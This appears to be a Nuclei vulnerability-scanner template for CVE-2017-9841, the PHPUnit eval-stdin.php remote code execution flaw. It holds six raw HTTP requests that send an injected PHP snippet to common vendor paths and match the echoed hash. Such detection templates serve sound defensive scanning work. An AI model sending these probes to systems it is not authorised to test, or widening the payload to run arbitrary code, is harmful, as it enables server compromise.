79 lines
2.7 KiB
YAML
79 lines
2.7 KiB
YAML
id: CVE-2017-9841
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info:
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name: PHPUnit - Remote Code Execution
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author: Random_Robbie,pikpikcu
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severity: critical
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description: PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring via Util/PHP/eval-stdin.php , as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI.
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remediation: |
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Upgrade to PHPUnit version 5.7.21 or 6.1.6 or later.
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reference:
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- https://github.com/cyberharsh/Php-unit-CVE-2017-9841
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- https://github.com/RandomRobbieBF/phpunit-brute
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- https://thephp.cc/articles/phpunit-a-security-risk
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- https://twitter.com/sec715/status/1411517028012158976
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- https://nvd.nist.gov/vuln/detail/CVE-2017-9841
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2017-9841
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cwe-id: CWE-94
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epss-score: 0.97477
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epss-percentile: 0.99963
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cpe: cpe:2.3:a:phpunit_project:phpunit:*:*:*:*:*:*:*:*
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metadata:
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max-request: 6
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vendor: phpunit_project
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product: phpunit
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tags: cve2017,cve,php,phpunit,rce,kev,phpunit_project
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http:
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- raw:
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- |
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GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: text/html
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<?php echo md5(phpunit_rce);?>
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- |
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GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: text/html
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<?php echo md5(phpunit_rce);?>
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- |
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GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: text/html
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<?php echo md5(phpunit_rce);?>
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- |
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GET /laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: text/html
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<?php echo md5(phpunit_rce);?>
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- |
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GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: text/html
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<?php echo md5(phpunit_rce);?>
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- |
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GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: text/html
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<?php echo md5(phpunit_rce);?>
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "6dd70f16549456495373a337e6708865"
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- type: status
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status:
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- 200
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# digest: 490a0046304402207cad0f7dbc4a697b7174d641a1e9f121e4fac54c066645bfd193ad178c062d7902205fac59e141d8c034ce05f36546b69fa3b1ac7f9d0d5e345ef57d07219594144f:922c64590222798bb761d5b6d8e72950 |